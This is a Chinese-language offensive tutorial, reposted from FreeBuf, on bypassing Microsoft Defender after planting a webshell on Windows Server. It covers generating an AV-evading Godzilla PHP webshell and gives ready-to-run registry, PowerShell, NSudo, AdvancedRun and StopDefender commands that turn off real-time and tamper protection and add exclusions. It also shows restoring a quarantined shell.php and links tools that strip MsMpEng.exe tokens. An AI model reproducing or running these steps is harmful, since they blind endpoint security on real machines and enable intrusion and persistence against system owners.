Windows defender 介绍

Microsoft Defender 防病毒软件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。

Microsoft Defender 防病毒软件是 Microsoft Defender for Endpoint 中下一代保护的主要组件。这种保护将机器学习、大数据分析、深入的威胁防御研究和 Microsoft 云基础设施结合在一起,以保护您组织中的设备(或端点)。Microsoft Defender 防病毒软件内置于 Windows 中,它与 Microsoft Defender for Endpoint 配合使用,为你的设备和云提供保护。

Windows defender 环境

1672063801_63a9ab39a0805a6e9941a.png!small?1672063802311

1672063828_63a9ab541e63ad212d4ff.png!small?1672063828783

1672063851_63a9ab6baad492da61a54.png!small?1672063852212

版本

1672063867_63a9ab7b2c7cf890b0bdf.png!small?1672063867565

Windows Server 系统环境


  • 用户:Administrator
  • 版本:Windows Server 2019

补丁

1672063883_63a9ab8baafc25fb1c45e.png!small?1672063884194

systeminfo 信息

1672063905_63a9aba120122e8090f4c.png!small?1672063905676

事前准备

在实战环境中,首先需要上传webshell,所以在此必须免杀webshell

web环境:phpstudy 8.1.1.3 + apache 2.4.39 + php 7.3.4

哥斯拉 webshell 免杀

工具地址:https://github.com/BeichenDream/Godzilla

经过测试,用Godzilla自带的PHP_XOR_BASE64加密器即可免杀(php一句话直接杀)

生成 PHP_XOR_BASE64 webshell

1672063919_63a9abafd09eec817b5f7.png!small?1672063920242

静态免杀测试

1672063930_63a9abba30dd8bd08d9f8.png!small?1672063930732

连接webshell

1672063942_63a9abc64a824d9eff272.png!small?1672063942749

动态免杀测试

1672063953_63a9abd1b2d5e665c0646.png!small?1672063954220

关闭 Windows defender

TrustedInstaller


TrustedInstaller是从Windows Vista开始出现的一个内置安全主体,在Windows中拥有修改系统文件权限,本身是一个服务,以一个账户组的形式出现。

它的全名是:NT SERVICE\TrustedInstaller

那么为什么要获取TrustedInstaller权限?


说白了就是因为Administratior权限system权限cmd无法关闭Windows defender(powershell可以)


注意:以下工具技巧皆需要Administratior权限或者system权限才能成功使用

基础命令介绍

cmd

#查看排除项
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
#查看版本
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
#查看篡改保护(返回结果中的 数值5代表开启,数值4代表关闭)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"


#需要TrustedInstaller权限
##cmd注册表关闭Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
##cmd关闭篡改保护
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f"
##cmd注册表恢复Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
##cmd添加Windows defender排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f

powershell

#查看排除项
Get-MpPreference | select ExclusionPath

#关闭Windows defender
Set-MpPreference -DisableRealTimeMonitoring $true

#增加排除项
Add-MpPreference -ExclusionPath "c:\temp"

#删除排除项
Remove-MpPreference -ExclusionPath "C:\test"

#关闭实时保护
Set-MpPreference -DisableRealtimeMonitoring $true

NSudoLG

工具地址:https://github.com/M2Team/NSudo

下载后使用:D:\Documents\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe

免杀测试

1672063970_63a9abe23b0a2fe9f675c.png!small?1672063970767

使用方法


注意:此工具的 -U:T 参数是获取了 TrustedInstaller 权限

#cmd注册表关闭Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
#cmd注册表恢复Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
#cmd添加Windows defender排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f

#NSudoLG.exe关闭Windows defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f"
#NSudoLG.exe恢复Windows defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f"
#NSudoLG.exe添加Windows defender排除项
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f"

1672063984_63a9abf0ba983e9feb73c.png!small?1672063985445

1672063992_63a9abf84bb6e67103600.png!small?1672063993349

1672064009_63a9ac09e7a00a3e0a69a.png!small?1672064010617

powershell成功上线

1672064020_63a9ac14d110efdf74b30.png!small?1672064021731

AdvancedRun

地址:https://www.nirsoft.net/utils/advanced_run.html

免杀测试

1672064029_63a9ac1da992f07a31a6c.png!small?1672064030327

使用方法

AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run

1672064039_63a9ac271cd3d26923d8e.png!small?1672064039633

powershell成功上线

1672064048_63a9ac30574c26a6d34e3.png!small?1672064048976

StopDefender

Github地址:https://github.com/lab52io/StopDefender

免杀测试

1672064059_63a9ac3bc57d0cbacc876.png!small?1672064060418

使用方法

StopDefender_x64.exe

1672064069_63a9ac4594b6c917639d1.png!small?1672064070169

powershell成功上线

1672064077_63a9ac4d89121e4947e57.png!small?1672064078268

powershell

#查看排除项
Get-MpPreference | select ExclusionPath

#关闭Windows defender
Set-MpPreference -DisableRealTimeMonitoring $true

#增加排除项
Add-MpPreference -ExclusionPath "c:\temp"

#删除排除项
Remove-MpPreference -ExclusionPath "C:\test"

关闭 Windows defender

1672064087_63a9ac5783e13bae282aa.png!small?1672064088231

关闭 实时保护

Set-MpPreference -DisableRealtimeMonitoring $true

1672064097_63a9ac61208dd196f5894.png!small?1672064097744

其他技巧

MpCmdRun恢复被隔离的文件

MpCmdRun介绍

配置和管理 Microsoft Defender 防病毒软件的命令行工具

详情

https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide

寻找MpCmdRun位置

MpCmdRun的位置为:

C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>

#查看版本(查看<antimalware platform version>)
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b

#验证
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.6-0\" | findstr MpCmdRun

1672064108_63a9ac6c412ae94ed786c.png!small?1672064108736

基础命令

#查看被隔离的文件列表
MpCmdRun -Restore -ListAll

#恢复指定名称的文件至原目录
MpCmdRun -Restore -FilePath C:\phpstudy_pro\WWW\shell.php

#恢复所有文件至原目录
MpCmdRun -Restore -All

#查看指定路径是否位于排除列表中
MpCmdRun -CheckExclusion -path C:\phpstudy_pro\WWW\

移除Token导致Windows Defender失效

Windows Defender进程为MsMpEng.exe,MsMpEng.exe是一个受保护的进程(Protected Process Light,简写为PPL)

非 PPL 进程无法获取 PPL 进程的句柄,导致我们无法直接结束 PPL 进程 MsMpEng.exe, 但是我们能够以 SYSTEM 权限运行的线程修改进程 MsMpEng.exe 的 token, 当我们移除进程 MsMpEng.exe 的所有 token 后,进程 MsMpEng.exe 无法访问其他进程的资源,也就无法检测其他进程是否有害,最终导致 Windows Defender 失效。

本人没有利用成功过

1672064119_63a9ac774bc52989bab07.png!small?1672064119802

工具地址

https://github.com/pwn1sher/KillDefender

https://github.com/Octoberfest7/KillDefender

https://github.com/Octoberfest7/KDStab

参考文章

https://mp.weixin.qq.com/s/27rvHpsnldnxpJaxwQrLGw

https://zhuanlan.zhihu.com/p/538571344

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender

https://cloud.tencent.com/developer/article/1870239

本文作者:pony686, 转自FreeBuf